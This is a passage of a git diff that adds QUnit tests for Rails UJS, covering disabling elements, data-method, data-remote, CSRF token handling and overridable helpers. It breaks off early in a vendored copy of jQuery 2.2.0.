+  App.checkDisabledState(link, 'Click me')
+  equal(link.data('ujs:enable-with'), undefined)
+  start()
+})
+
+asyncTest('a[data-remote][data-disable] disables and re-enables', 6, function() {
+  var link = $('a[data-disable]').attr('data-remote', true)
+
+  App.checkEnabledState(link, 'Click me')
+
+  link
+    .bindNative('ajax:send', function() {
+      App.checkDisabledState(link, 'Click me')
+    })
+    .bindNative('ajax:complete', function() {
+      setTimeout( function() {
+        App.checkEnabledState(link, 'Click me')
+        start()
+      }, 15)
+    })
+    .triggerNative('click')
+})
+
+asyncTest('a[data-remote][data-disable] re-enables when `ajax:before` event is cancelled', 6, function() {
+  var link = $('a[data-disable]').attr('data-remote', true)
+
+  App.checkEnabledState(link, 'Click me')
+
+  link
+    .bindNative('ajax:before', function() {
+      App.checkDisabledState(link, 'Click me')
+      return false
+    })
+    .triggerNative('click')
+
+  setTimeout(function() {
+    App.checkEnabledState(link, 'Click me')
+    start()
+  }, 30)
+})
+
+asyncTest('a[data-remote][data-disable] re-enables when `ajax:beforeSend` event is cancelled', 6, function() {
+  var link = $('a[data-disable]').attr('data-remote', true)
+
+  App.checkEnabledState(link, 'Click me')
+
+  link
+    .bindNative('ajax:beforeSend', function() {
+      App.checkDisabledState(link, 'Click me')
+      return false
+    })
+    .triggerNative('click')
+
+  setTimeout(function() {
+    App.checkEnabledState(link, 'Click me')
+    start()
+  }, 30)
+})
+
+asyncTest('a[data-remote][data-disable] re-enables when `ajax:error` event is triggered', 6, function() {
+  var link = $('a[data-disable]').attr('data-remote', true).attr('href', '/error')
+
+  App.checkEnabledState(link, 'Click me')
+
+  link
+    .bindNative('ajax:send', function() {
+      App.checkDisabledState(link, 'Click me')
+    })
+    .triggerNative('click')
+
+  setTimeout(function() {
+    App.checkEnabledState(link, 'Click me')
+    start()
+  }, 30)
+})
+
+asyncTest('form[data-remote] input|button|textarea[data-disable] does not disable when `ajax:beforeSend` event is cancelled', 8, function() {
+  var form = $('form[data-remote]'),
+      input = form.find('input:text'),
+      button = $('<button data-disable="submitting ..." name="submit2">Submit</button>').appendTo(form),
+      textarea = $('<textarea data-disable name="user_bio">born, lived, died.</textarea>').appendTo(form),
+      submit = $('<input type="submit" data-disable="submitting ..." name="submit2" value="Submit" />').appendTo(form)
+
+  form
+    .bindNative('ajax:beforeSend', function() {
+      return false
+    })
+    .triggerNative('submit')
+
+  App.checkEnabledState(input, 'john')
+  App.checkEnabledState(button, 'Submit')
+  App.checkEnabledState(textarea, 'born, lived, died.')
+  App.checkEnabledState(submit, 'Submit')
+
+  start()
+})
+
+asyncTest('ctrl-clicking on a link does not disables the link', 6, function() {
+  var link = $('a[data-disable]')
+
+  App.checkEnabledState(link, 'Click me')
+
+  link.triggerNative('click', { metaKey: true })
+  App.checkEnabledState(link, 'Click me')
+
+  link.triggerNative('click', { ctrlKey: true })
+  App.checkEnabledState(link, 'Click me')
+  start()
+})
+
+asyncTest('button[data-remote][data-disable] disables and re-enables', 6, function() {
+  var button = $('button[data-remote][data-disable]')
+
+  App.checkEnabledState(button, 'Click me')
+
+  button
+    .bindNative('ajax:send', function() {
+      App.checkDisabledState(button, 'Click me')
+    })
+    .bindNative('ajax:complete', function() {
+      setTimeout( function() {
+        App.checkEnabledState(button, 'Click me')
+        start()
+      }, 15)
+    })
+    .triggerNative('click')
+})
+
+asyncTest('button[data-remote][data-disable] re-enables when `ajax:before` event is cancelled', 6, function() {
+  var button = $('button[data-remote][data-disable]')
+
+  App.checkEnabledState(button, 'Click me')
+
+  button
+    .bindNative('ajax:before', function() {
+      App.checkDisabledState(button, 'Click me')
+      return false
+    })
+    .triggerNative('click')
+
+  setTimeout(function() {
+    App.checkEnabledState(button, 'Click me')
+    start()
+  }, 30)
+})
+
+asyncTest('button[data-remote][data-disable] re-enables when `ajax:beforeSend` event is cancelled', 6, function() {
+  var button = $('button[data-remote][data-disable]')
+
+  App.checkEnabledState(button, 'Click me')
+
+  button
+    .bindNative('ajax:beforeSend', function() {
+      App.checkDisabledState(button, 'Click me')
+      return false
+    })
+    .triggerNative('click')
+
+  setTimeout(function() {
+    App.checkEnabledState(button, 'Click me')
+    start()
+  }, 30)
+})
+
+asyncTest('button[data-remote][data-disable] re-enables when `ajax:error` event is triggered', 6, function() {
+  var button = $('a[data-disable]').attr('data-remote', true).attr('href', '/error')
+
+  App.checkEnabledState(button, 'Click me')
+
+  button
+    .bindNative('ajax:send', function() {
+      App.checkDisabledState(button, 'Click me')
+    })
+    .triggerNative('click')
+
+  setTimeout(function() {
+    App.checkEnabledState(button, 'Click me')
+    start()
+  }, 30)
+})
diff --git a/actionview/test/ujs/public/test/data-method.js b/actionview/test/ujs/public/test/data-method.js
new file mode 100644
index 0000000000..47d940c577
--- /dev/null
+++ b/actionview/test/ujs/public/test/data-method.js
@@ -0,0 +1,85 @@
+(function() {
+
+module('data-method', {
+  setup: function() {
+    $('#qunit-fixture').append($('<a />', {
+      href: '/echo', 'data-method': 'delete', text: 'destroy!'
+    }))
+  },
+  teardown: function() {
+    $(document).unbind('iframe:loaded')
+  }
+})
+
+function submit(fn, options) {
+  $(document).bind('iframe:loaded', function(e, data) {
+    fn(data)
+    start()
+  })
+
+  $('#qunit-fixture').find('a')
+    .triggerNative('click')
+}
+
+asyncTest('link with "data-method" set to "delete"', 3, function() {
+  submit(function(data) {
+    equal(data.REQUEST_METHOD, 'DELETE')
+    strictEqual(data.params.authenticity_token, undefined)
+    strictEqual(data.HTTP_X_CSRF_TOKEN, undefined)
+  })
+})
+
+asyncTest('click on the child of link with "data-method"', 3, function() {
+  $(document).bind('iframe:loaded', function(e, data) {
+    equal(data.REQUEST_METHOD, 'DELETE')
+    strictEqual(data.params.authenticity_token, undefined)
+    strictEqual(data.HTTP_X_CSRF_TOKEN, undefined)
+    start()
+  })
+  $('#qunit-fixture a').html('<strong>destroy!</strong>').find('strong').triggerNative('click')
+})
+
+asyncTest('link with "data-method" and CSRF', 1, function() {
+  $('#qunit-fixture')
+    .append('<meta name="csrf-param" content="authenticity_token"/>')
+    .append('<meta name="csrf-token" content="cf50faa3fe97702ca1ae"/>')
+
+  submit(function(data) {
+    equal(data.params.authenticity_token, 'cf50faa3fe97702ca1ae')
+  })
+})
+
+asyncTest('link "target" should be carried over to generated form', 1, function() {
+  $('a[data-method]').attr('target', 'super-special-frame')
+  submit(function(data) {
+    equal(data.params._target, 'super-special-frame')
+  })
+})
+
+asyncTest('link with "data-method" and cross origin', 1, function() {
+  var data = {}
+
+  $('#qunit-fixture')
+    .append('<meta name="csrf-param" content="authenticity_token"/>')
+    .append('<meta name="csrf-token" content="cf50faa3fe97702ca1ae"/>')
+
+  $(document).on('submit', 'form', function(e) {
+    $(e.currentTarget).serializeArray().map(function(item) {
+      data[item.name] = item.value
+    })
+
+    return false
+  })
+
+  var link = $('#qunit-fixture').find('a')
+
+  link.attr('href', 'http://www.alfajango.com')
+
+  link.triggerNative('click')
+
+  start()
+
+  notEqual(data.authenticity_token, 'cf50faa3fe97702ca1ae')
+})
+
+})()
diff --git a/actionview/test/ujs/public/test/data-remote.js b/actionview/test/ujs/public/test/data-remote.js
new file mode 100644
index 0000000000..9bbefc18f2
--- /dev/null
+++ b/actionview/test/ujs/public/test/data-remote.js
@@ -0,0 +1,438 @@
+(function() {
+
+function buildSelect(attrs) {
+  attrs = $.extend({
+    'name': 'user_data', 'data-remote': 'true', 'data-url': '/echo', 'data-params': 'data1=value1'
+  }, attrs)
+
+  $('#qunit-fixture').append(
+    $('<select />', attrs)
+      .append($('<option />', {value: 'optionValue1', text: 'option1'}))
+      .append($('<option />', {value: 'optionValue2', text: 'option2'}))
+  )
+}
+
+module('data-remote', {
+  setup: function() {
+    $('#qunit-fixture')
+      .append($('<a />', {
+        href: '/echo',
+        'data-remote': 'true',
+        'data-params': 'data1=value1&data2=value2',
+        text: 'my address'
+      }))
+      .append($('<button />', {
+        'data-url': '/echo',
+        'data-remote': 'true',
+        'data-params': 'data1=value1&data2=value2',
+        text: 'my button'
+      }))
+      .append($('<form />', {
+        action: '/echo',
+        'data-remote': 'true',
+        method: 'post',
+        id: 'my-remote-form'
+      }))
+      .append($('<a />', {
+        href: '/echo',
+        'data-remote': 'true',
+        disabled: 'disabled',
+        text: 'Disabed link'
+      }))
+      .find('form').append($('<input type="text" name="user_name" value="john">'))
+
+  }
+})
+
+asyncTest('ctrl-clicking on a link does not fire ajaxyness', 0, function() {
+  var link = $('a[data-remote]')
+
+  // Ideally, we'd setup an iframe to intercept normal link clicks
+  // and add a test to make sure the iframe:loaded event is triggered.
+  // However, jquery doesn't actually cause a native `click` event and
+  // follow links using `trigger('click')`, it only fires bindings.
+  link
+    .removeAttr('data-params')
+    .bindNative('ajax:beforeSend', function() {
+      ok(false, 'ajax should not be triggered')
+    })
+
+  link.triggerNative('click', { metaKey: true })
+  link.triggerNative('click', { ctrlKey: true })
+
+  setTimeout(function() { start() }, 13)
+})
+
+asyncTest('ctrl-clicking on a link still fires ajax for non-GET links and for links with "data-params"', 2, function() {
+  var link = $('a[data-remote]')
+
+  link
+    .removeAttr('data-params')
+    .attr('data-method', 'POST')
+    .bindNative('ajax:beforeSend', function() {
+      ok(true, 'ajax should be triggered')
+    })
+    .triggerNative('click', { metaKey: true })
+
+  link
+    .removeAttr('data-method')
+    .attr('data-params', 'name=steve')
+    .triggerNative('click', { metaKey: true })
+
+  setTimeout(function() { start() }, 13)
+})
+
+asyncTest('clicking on a link with data-remote attribute', 5, function() {
+  $('a[data-remote]')
+    .bindNative('ajax:success', function(e, data, status, xhr) {
+      App.assertCallbackInvoked('ajax:success')
+      App.assertRequestPath(data, '/echo')
+      equal(data.params.data1, 'value1', 'ajax arguments should have key data1 with right value')
+      equal(data.params.data2, 'value2', 'ajax arguments should have key data2 with right value')
+      App.assertGetRequest(data)
+    })
+    .bindNative('ajax:complete', function() { start() })
+    .triggerNative('click')
+})
+
+asyncTest('clicking on a link with both query string in href and data-params', 4, function() {
+  $('a[data-remote]')
+    .attr('href', '/echo?data3=value3')
+    .bindNative('ajax:success', function(e, data, status, xhr) {
+      App.assertGetRequest(data)
+      equal(data.params.data1, 'value1', 'ajax arguments should have key data1 with right value')
+      equal(data.params.data2, 'value2', 'ajax arguments should have key data2 with right value')
+      equal(data.params.data3, 'value3', 'query string in url should be passed to server with right value')
+    })
+    .bindNative('ajax:complete', function() { start() })
+    .triggerNative('click')
+})
+
+asyncTest('clicking on a link with both query string in href and data-params with POST method', 4, function() {
+  $('a[data-remote]')
+    .attr('href', '/echo?data3=value3')
+    .attr('data-method', 'post')
+    .bindNative('ajax:success', function(e, data, status, xhr) {
+      App.assertPostRequest(data)
+      equal(data.params.data1, 'value1', 'ajax arguments should have key data1 with right value')
+      equal(data.params.data2, 'value2', 'ajax arguments should have key data2 with right value')
+      equal(data.params.data3, 'value3', 'query string in url should be passed to server with right value')
+    })
+    .bindNative('ajax:complete', function() { start() })
+    .triggerNative('click')
+})
+
+asyncTest('clicking on a link with disabled attribute', 0, function() {
+  $('a[disabled]')
+  .bindNative('ajax:before', function(e, data, status, xhr) {
+    App.assertCallbackNotInvoked('ajax:success')
+  })
+  .bindNative('ajax:complete', function() { start() })
+  .triggerNative('click')
+
+  setTimeout(function() {
+    start()
+  }, 13)
+})
+
+asyncTest('clicking on a button with data-remote attribute', 5, function() {
+  $('button[data-remote]')
+    .bindNative('ajax:success', function(e, data, status, xhr) {
+      App.assertCallbackInvoked('ajax:success')
+      App.assertRequestPath(data, '/echo')
+      equal(data.params.data1, 'value1', 'ajax arguments should have key data1 with right value')
+      equal(data.params.data2, 'value2', 'ajax arguments should have key data2 with right value')
+      App.assertGetRequest(data)
+    })
+    .bindNative('ajax:complete', function() { start() })
+    .triggerNative('click')
+})
+
+asyncTest('changing a select option with data-remote attribute', 5, function() {
+  buildSelect()
+
+  $('select[data-remote]')
+    .bindNative('ajax:success', function(e, data, status, xhr) {
+      App.assertCallbackInvoked('ajax:success')
+      App.assertRequestPath(data, '/echo')
+      equal(data.params.user_data, 'optionValue2', 'ajax arguments should have key term with right value')
+      equal(data.params.data1, 'value1', 'ajax arguments should have key data1 with right value')
+      App.assertGetRequest(data)
+    })
+    .bindNative('ajax:complete', function() { start() })
+    .val('optionValue2')
+    .triggerNative('change')
+})
+
+asyncTest('submitting form with data-remote attribute', 4, function() {
+  $('form[data-remote]')
+    .bindNative('ajax:success', function(e, data, status, xhr) {
+      App.assertCallbackInvoked('ajax:success')
+      App.assertRequestPath(data, '/echo')
+      equal(data.params.user_name, 'john', 'ajax arguments should have key user_name with right value')
+      App.assertPostRequest(data)
+    })
+    .bindNative('ajax:complete', function() { start() })
+    .triggerNative('submit')
+})
+
+asyncTest('submitting form with data-remote attribute should include inputs in a fieldset only once', 3, function() {
+  $('form[data-remote]')
+    .append('<fieldset><input name="items[]" value="Item" /></fieldset>')
+    .bindNative('ajax:success', function(e, data, status, xhr) {
+      App.assertCallbackInvoked('ajax:success')
+      equal(data.params.items.length, 1, 'ajax arguments should only have the item once')
+      App.assertPostRequest(data)
+    })
+    .bindNative('ajax:complete', function() {
+      $('form[data-remote], fieldset').remove()
+      start()
+    })
+    .triggerNative('submit')
+})
+
+asyncTest('submitting form with data-remote attribute submits input with matching [form] attribute', 5, function() {
+  $('#qunit-fixture')
+    .append($('<input type="text" name="user_data" value="value1" form="my-remote-form">'))
+
+  $('form[data-remote]')
+    .bindNative('ajax:success', function(e, data, status, xhr) {
+      App.assertCallbackInvoked('ajax:success')
+      App.assertRequestPath(data, '/echo')
+      equal(data.params.user_name, 'john', 'ajax arguments should have key user_name with right value')
+      equal(data.params.user_data, 'value1', 'ajax arguments should have key user_data with right value')
+      App.assertPostRequest(data)
+    })
+    .bindNative('ajax:complete', function() { start() })
+    .triggerNative('submit')
+})
+
+asyncTest('submitting form with data-remote attribute by clicking button with matching [form] attribute', 5, function() {
+  $('form[data-remote]')
+    .bindNative('ajax:success', function(e, data, status, xhr) {
+      App.assertCallbackInvoked('ajax:success')
+      App.assertRequestPath(data, '/echo')
+      equal(data.params.user_name, 'john', 'ajax arguments should have key user_name with right value')
+      equal(data.params.user_data, 'value2', 'ajax arguments should have key user_data with right value')
+      App.assertPostRequest(data)
+    })
+    .bindNative('ajax:complete', function() { start() })
+
+  $('<button />', {
+        type: 'submit',
+        name: 'user_data',
+        value: 'value1',
+        form: 'my-remote-form'
+      })
+    .appendTo($('#qunit-fixture'))
+
+  $('<button />', {
+      type: 'submit',
+      name: 'user_data',
+      value: 'value2',
+      form: 'my-remote-form'
+    })
+    .appendTo($('#qunit-fixture'))
+    .triggerNative('click')
+})
+
+asyncTest('form\'s submit bindings in browsers that don\'t support submit bubbling', 5, function() {
+  var form = $('form[data-remote]'), directBindingCalled = false
+
+  ok(!directBindingCalled, 'nothing is called')
+
+  form
+    .append($('<input type="submit" />'))
+    .bindNative('submit', function(event) {
+      ok(event.type == 'submit', 'submit event handlers are called with submit event')
+      ok(true, 'binding handler is called')
+      directBindingCalled = true
+    })
+    .bindNative('ajax:beforeSend', function() {
+      ok(true, 'form being submitted via ajax')
+      ok(directBindingCalled, 'binding handler already called')
+    })
+    .bindNative('ajax:complete', function() {
+      start()
+    })
+
+    if(!$.support.submitBubbles) {
+      // Must indrectly submit form via click to trigger jQuery's manual submit bubbling in IE
+      form.find('input[type=submit]')
+      .triggerNative('click')
+    } else {
+      form.triggerNative('submit')
+    }
+})
+
+asyncTest('returning false in form\'s submit bindings in non-submit-bubbling browsers', 1, function() {
+  var form = $('form[data-remote]')
+
+  form
+    .append($('<input type="submit" />'))
+    .bindNative('submit', function() {
+      ok(true, 'binding handler is called')
+      return false
+    })
+    .bindNative('ajax:beforeSend', function() {
+      ok(false, 'form should not be submitted')
+    })
+
+    if (!$.support.submitBubbles) {
+      // Must indrectly submit form via click to trigger jQuery's manual submit bubbling in IE
+      form.find('input[type=submit]').triggerNative('click')
+    } else {
+      form.triggerNative('submit')
+    }
+
+    setTimeout(function() { start() }, 13)
+})
+
+asyncTest('clicking on a link with falsy "data-remote" attribute does not fire ajaxyness', 0, function() {
+  $('a[data-remote]')
+    .attr('data-remote', 'false')
+    .bindNative('ajax:beforeSend', function() {
+      ok(false, 'ajax should not be triggered')
+    })
+    .bindNative('click', function() {
+      return false
+    })
+    .triggerNative('click')
+
+  setTimeout(function() { start() }, 20)
+})
+
+asyncTest('ctrl-clicking on a link with falsy "data-remote" attribute does not fire ajaxyness even if "data-params" present', 0, function() {
+  var link = $('a[data-remote]')
+
+  link
+    .removeAttr('data-params')
+    .attr('data-remote', 'false')
+    .attr('data-method', 'POST')
+    .bindNative('ajax:beforeSend', function() {
+      ok(false, 'ajax should not be triggered')
+    })
+    .bindNative('click', function() {
+      return false
+    })
+    .triggerNative('click', { metaKey: true })
+
+  link
+    .removeAttr('data-method')
+    .attr('data-params', 'name=steve')
+    .triggerNative('click', { metaKey: true })
+
+  setTimeout(function() { start() }, 20)
+})
+
+asyncTest('clicking on a button with falsy "data-remote" attribute', 0, function() {
+  $('button[data-remote]:first')
+    .attr('data-remote', 'false')
+    .bindNative('ajax:beforeSend', function() {
+      ok(false, 'ajax should not be triggered')
+    })
+    .bindNative('click', function() {
+      return false
+    })
+    .triggerNative('click')
+
+  setTimeout(function() { start() }, 20)
+})
+
+asyncTest('submitting a form with falsy "data-remote" attribute', 0, function() {
+  $('form[data-remote]:first')
+    .attr('data-remote', 'false')
+    .bindNative('ajax:beforeSend', function() {
+      ok(false, 'ajax should not be triggered')
+    })
+    .bindNative('submit', function() {
+      return false
+    })
+    .triggerNative('submit')
+
+  setTimeout(function() { start() }, 20)
+})
+
+asyncTest('changing a select option with falsy "data-remote" attribute', 0, function() {
+  buildSelect({'data-remote': 'false'})
+
+  $('select[data-remote=false]:first')
+    .bindNative('ajax:beforeSend', function() {
+      ok(false, 'ajax should not be triggered')
+    })
+    .val('optionValue2')
+    .triggerNative('change')
+
+  setTimeout(function() { start() }, 20)
+})
+
+asyncTest('form should be serialized correctly', 6, function() {
+  $('form')
+    .append('<textarea name="textarea">textarea</textarea>')
+    .append('<input type="checkbox" name="checkbox[]" value="0" />')
+    .append('<input type="checkbox" checked="checked" name="checkbox[]" value="1" />')
+    .append('<input type="radio" checked="checked" name="radio" value="0" />')
+    .append('<input type="radio" name="radio" value="1" />')
+    .append('<select multiple="multiple" name="select[]">\
+      <option value="1" selected>1</option>\
+      <option value="2" selected>2</option>\
+      <option value="3">3</option>\
+      <option selected>4</option>\
+    </select>')
+    .bindNative('ajax:success', function(e, data, status, xhr) {
+      equal(data.params.checkbox.length, 1)
+      equal(data.params.checkbox[0], '1')
+      equal(data.params.radio, '0')
+      equal(data.params.select.length, 3)
+      equal(data.params.select[2], '4')
+      equal(data.params.textarea, 'textarea')
+
+      start()
+    })
+    .triggerNative('submit')
+})
+
+asyncTest('form buttons should only be serialized when clicked', 4, function() {
+  $('form')
+    .append('<input type="submit" name="submit1" value="submit1" />')
+    .append('<button name="submit2" value="submit2" />')
+    .append('<button name="submit3" value="submit3" />')
+    .bindNative('ajax:success', function(e, data, status, xhr) {
+      equal(data.params.submit1, undefined)
+      equal(data.params.submit2, 'submit2')
+      equal(data.params.submit3, undefined)
+      equal(data['rack.request.form_vars'], 'user_name=john&submit2=submit2')
+
+      start()
+    })
+    .find('[name=submit2]').triggerNative('click')
+})
+
+asyncTest('changing a select option without "data-url" attribute still fires ajax request to current location', 1, function() {
+  var currentLocation, ajaxLocation
+
+  buildSelect({'data-url': ''})
+
+  $('select[data-remote]')
+    .bindNative('ajax:beforeSend', function(e, xhr, settings) {
+      // Get current location (the same way jQuery does)
+      try {
+        currentLocation = location.href
+      } catch(err) {
+        currentLocation = document.createElement( 'a' )
+        currentLocation.href = ''
+        currentLocation = currentLocation.href
+      }
+
+      ajaxLocation = settings.url.replace(settings.data, '').replace(/&$/, '').replace(/\?$/, '')
+      equal(ajaxLocation, currentLocation, 'URL should be current page by default')
+
+      return false
+    })
+    .val('optionValue2')
+    .triggerNative('change')
+
+  setTimeout(function() { start() }, 20)
+})
+
+})()
diff --git a/actionview/test/ujs/public/test/override.js b/actionview/test/ujs/public/test/override.js
new file mode 100644
index 0000000000..299c7018cc
--- /dev/null
+++ b/actionview/test/ujs/public/test/override.js
@@ -0,0 +1,56 @@
+(function() {
+
+var realHref
+
+module('override', {
+  setup: function() {
+    realHref = $.rails.href
+    $('#qunit-fixture')
+      .append($('<a />', {
+        href: '/real/href', 'data-remote': 'true', 'data-method': 'delete', 'data-href': '/data/href'
+      }))
+  },
+  teardown: function() {
+    $.rails.href = realHref
+  }
+})
+
+asyncTest('the getter for an element\'s href is publicly accessible', 1, function() {
+  ok($.rails.href)
+  start()
+})
+
+asyncTest('the getter for an element\'s href is overridable', 1, function() {
+  $.rails.href = function(element) { return $(element).data('href') }
+  $('#qunit-fixture a')
+    .bindNative('ajax:beforeSend', function(e, xhr, options) {
+      equal('/data/href', options.url)
+      return false
+    })
+    .triggerNative('click')
+  start()
+})
+
+asyncTest('the getter for an element\'s href works normally if not overridden', 1, function() {
+  $('#qunit-fixture a')
+    .bindNative('ajax:beforeSend', function(e, xhr, options) {
+      equal(location.protocol + '//' + location.host + '/real/href', options.url)
+      return false
+    })
+    .triggerNative('click')
+  start()
+})
+
+asyncTest('the event selector strings are overridable', 1, function() {
+  ok($.rails.linkClickSelector.indexOf(', a[data-custom-remote-link]') != -1, 'linkClickSelector contains custom selector')
+  start()
+})
+
+asyncTest('including rails-ujs multiple times throws error', 1, function() {
+  throws(function() {
+    Rails.start()
+  }, 'appending rails.js again throws error')
+  setTimeout(function() { start() }, 50)
+})
+
+})()
diff --git a/actionview/test/ujs/public/test/settings.js b/actionview/test/ujs/public/test/settings.js
new file mode 100644
index 0000000000..299c71bb00
--- /dev/null
+++ b/actionview/test/ujs/public/test/settings.js
@@ -0,0 +1,116 @@
+var App = App || {}
+
+App.assertCallbackInvoked = function(callbackName) {
+  ok(true, callbackName + ' callback should have been invoked')
+}
+
+App.assertCallbackNotInvoked = function(callbackName) {
+  ok(false, callbackName + ' callback should not have been invoked')
+}
+
+App.assertGetRequest = function(requestEnv) {
+  equal(requestEnv['REQUEST_METHOD'], 'GET', 'request type should be GET')
+}
+
+App.assertPostRequest = function(requestEnv) {
+  equal(requestEnv['REQUEST_METHOD'], 'POST', 'request type should be POST')
+}
+
+App.assertRequestPath = function(requestEnv, path) {
+  equal(requestEnv['PATH_INFO'], path, 'request should be sent to right url')
+}
+
+App.getVal = function(el) {
+  return el.is('input,textarea,select') ? el.val() : el.text()
+}
+
+App.disabled = function(el) {
+  return el.is('input,textarea,select,button') ?
+    (el.is(':disabled') && $.rails.getData(el[0], 'ujs:disabled')) :
+    $.rails.getData(el[0], 'ujs:disabled')
+}
+
+App.checkEnabledState = function(el, text) {
+  ok(!App.disabled(el), el.get(0).tagName + ' should not be disabled')
+  equal(App.getVal(el), text, el.get(0).tagName + ' text should be original value')
+}
+
+App.checkDisabledState = function(el, text) {
+  ok(App.disabled(el), el.get(0).tagName + ' should be disabled')
+  equal(App.getVal(el), text, el.get(0).tagName + ' text should be disabled value')
+}
+
+// hijacks normal form submit; lets it submit to an iframe to prevent
+// navigating away from the test suite
+$(document).bind('submit', function(e) {
+  if (!e.isDefaultPrevented()) {
+    var form = $(e.target), action = form.attr('action'),
+        name = 'form-frame' + jQuery.guid++,
+        iframe = $('<iframe name="' + name + '" />'),
+        iframeInput = '<input name="iframe" value="true" type="hidden" />'
+        targetInput = '<input name="_target" value="' + (form.attr('target') || '') + '" type="hidden" />'
+
+    if (action && action.indexOf('iframe') < 0) {
+      if (action.indexOf('?') < 0) {
+        form.attr('action', action + '?iframe=true')
+      } else {
+        form.attr('action', action + '&iframe=true')
+      }
+    }
+    form.attr('target', name).append(iframeInput, targetInput)
+    $('#qunit-fixture').append(iframe)
+    $.event.trigger('iframe:loading', form)
+  }
+})
+
+var _MouseEvent = window.MouseEvent
+
+try {
+  new _MouseEvent()
+} catch (e) {
+  _MouseEvent = function(type, options) {
+    var evt = document.createEvent('MouseEvents')
+    evt.initMouseEvent(type, options.bubbles, options.cancelable, window, options.detail, 0, 0, 80, 20, options.ctrlKey, options.altKey, options.shiftKey, options.metaKey, 0, null)
+    return evt
+  }
+}
+
+$.fn.extend({
+  // trigger a native click event
+  triggerNative: function(type, options) {
+    var el = this[0],
+        event,
+        Evt = {
+          'click': _MouseEvent,
+          'change': Event,
+          'pageshow': PageTransitionEvent,
+          'submit': Event
+        }[type]
+
+    options = options || {}
+    options.bubbles = true
+    options.cancelable = true
+
+    event = new Evt(type, options)
+
+    el.dispatchEvent(event)
+
+    if (type === 'submit' && !event.defaultPrevented) {
+      el.submit()
+    }
+    return this
+  },
+  bindNative: function(event, handler) {
+    if (!handler) return this
+
+    this.bind(event, function(e) {
+      var args = []
+      if (e.originalEvent.detail) {
+        args = e.originalEvent.detail.slice()
+      }
+      args.unshift(e)
+      return handler.apply(this, args)
+    })
+    return this
+  }
+})
diff --git a/actionview/test/ujs/public/vendor/jquery-2.2.0.js b/actionview/test/ujs/public/vendor/jquery-2.2.0.js
new file mode 100644
index 0000000000..1e0ba99740
--- /dev/null
+++ b/actionview/test/ujs/public/vendor/jquery-2.2.0.js
@@ -0,0 +1,9831 @@
+/*!
+ * jQuery JavaScript Library v2.2.0
+ * http://jquery.com/
+ *
+ * Includes Sizzle.js
+ * http://sizzlejs.com/
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license
+ * http://jquery.org/license
+ *
+ * Date: 2016-01-08T20:02Z
+ */
+
+(function( global, factory ) {
+
+	if ( typeof module === "object" && typeof module.exports === "object" ) {
+		// For CommonJS and CommonJS-like environments where a proper `window`
+		// is present, execute the factory and get jQuery.
+		// For environments that do not have a `window` with a `document`
+		// (such as Node.js), expose a factory as module.exports.
+		// This accentuates the need for the creation of a real `window`.
+		// e.g. var jQuery = require("jquery")(window);
+		// See ticket #14549 for more info.
+		module.exports = global.document ?
+			factory( global, true ) :
+			function( w ) {
+				if ( !w.document ) {
+					throw new Error( "jQuery requires a window with a document" );
+				}
+				return factory( w );
+			};
+	} else {
+		factory( global );
+	}
+
+// Pass this if window is not defined yet
+}(typeof window !== "undefined" ? window : this, function( window, noGlobal ) {
+
+// Support: Firefox 18+
+// Can't be in strict mode, several libs including ASP.NET trace
+// the stack via arguments.caller.callee and Firefox dies if
+// you try to trace through "use strict" call chains. (#13335)
+//"use strict";
+var arr = [];
+
+var document = window.document;
+
+var slice = arr.slice;
+
+var concat = arr.concat;
+
+var push = arr.push;
+
+var indexOf = arr.indexOf;
+
+var class2type = {};
+
+var toString = class2type.toString;
+
+var hasOwn = class2type.hasOwnProperty;
+
+var support = {};
+
+
+
+var
+	version = "2.2.0",
+
+	// Define a local copy of jQuery
+	jQuery = function( selector, context ) {
+
+		// The jQuery object is actually just the init constructor 'enhanced'
+		// Need init if jQuery is called (just allow error to be thrown if not included)
+		return new jQuery.fn.init( selector, context );
+	},
+
+	// Support: Android<4.1
+	// Make sure we trim BOM and NBSP
+	rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,
+
+	// Matches dashed string for camelizing
+	rmsPrefix = /^-ms-/,
+	rdashAlpha = /-([\da-z])/gi,
+
+	// Used by jQuery.camelCase as callback to replace()
+	fcamelCase = function( all, letter ) {
+		return letter.toUpperCase();
+	};
+
+jQuery.fn = jQuery.prototype = {
+
+	// The current version of jQuery being used
+	jquery: version,
+
+	constructor: jQuery,
+
+	// Start with an empty selector
+	selector: "",
+
+	// The default length of a jQuery object is 0
+	length: 0,
+
+	toArray: function() {
+		return slice.call( this );
+	},
+
+	// Get the Nth element in the matched element set OR
+	// Get the whole matched element set as a clean array
+	get: function( num ) {
+		return num != null ?
+
+			// Return just the one element from the set
+			( num < 0 ? this[ num + this.length ] : this[ num ] ) :
+
+			// Return all the elements in a clean array
+			slice.call( this );
+	},
+
+	// Take an array of elements and push it onto the stack
+	// (returning the new matched element set)
+	pushStack: function( elems ) {
+
+		// Build a new jQuery matched element set
+		var ret = jQuery.merge( this.constructor(), elems );
+
+		// Add the old object onto the stack (as a reference)
+		ret.prevObject = this;
+		ret.context = this.context;
+
+		// Return the newly-formed element set
+		return ret;
+	},
+
+	// Execute a callback for every element in the matched set.
+	each: function( callback ) {
+		return jQuery.each( this, callback );
+	},
+
+	map: function( callback ) {
+		return this.pushStack( jQuery.map( this, function( elem, i ) {
+			return callback.call( elem, i, elem );
+		} ) );
+	},
+
+	slice: function() {
+		return this.pushStack( slice.apply( this, arguments ) );
+	},
+
+	first: function() {
+		return this.eq( 0 );
+	},
+
+	last: function() {
+		return this.eq( -1 );
+	},
+
+	eq: function( i ) {
+		var len = this.length,
+			j = +i + ( i < 0 ? len : 0 );
+		return this.pushStack( j >= 0 && j < len ? [ this[ j ] ] : [] );
+	},
+
+	end: function() {
+		return this.prevObject || this.constructor();
+	},
+
+	// For internal use only.
+	// Behaves like an Array's method, not like a jQuery method.
+	push: push,
+	sort: arr.sort,
+	splice: arr.splice
+};
+
+jQuery.extend = jQuery.fn.extend = function() {
+	var options, name, src, copy, copyIsArray, clone,
+		target = arguments[ 0 ] || {},
+		i = 1,
+		length = arguments.length,
+		deep = false;
+
+	// Handle a deep copy situation
+	if ( typeof target === "boolean" ) {
+		deep = target;
+
+		// Skip the boolean and the target
+		target = arguments[ i ] || {};
+		i++;
+	}
+
+	// Handle case when target is a string or something (possible in deep copy)
+	if ( typeof target !== "object" && !jQuery.isFunction( target ) ) {
+		target = {};
+	}
+
+	// Extend jQuery itself if only one argument is passed
+	if ( i === length ) {
+		target = this;
+		i--;
+	}
+
+	for ( ; i < length; i++ ) {
+
+		// Only deal with non-null/undefined values
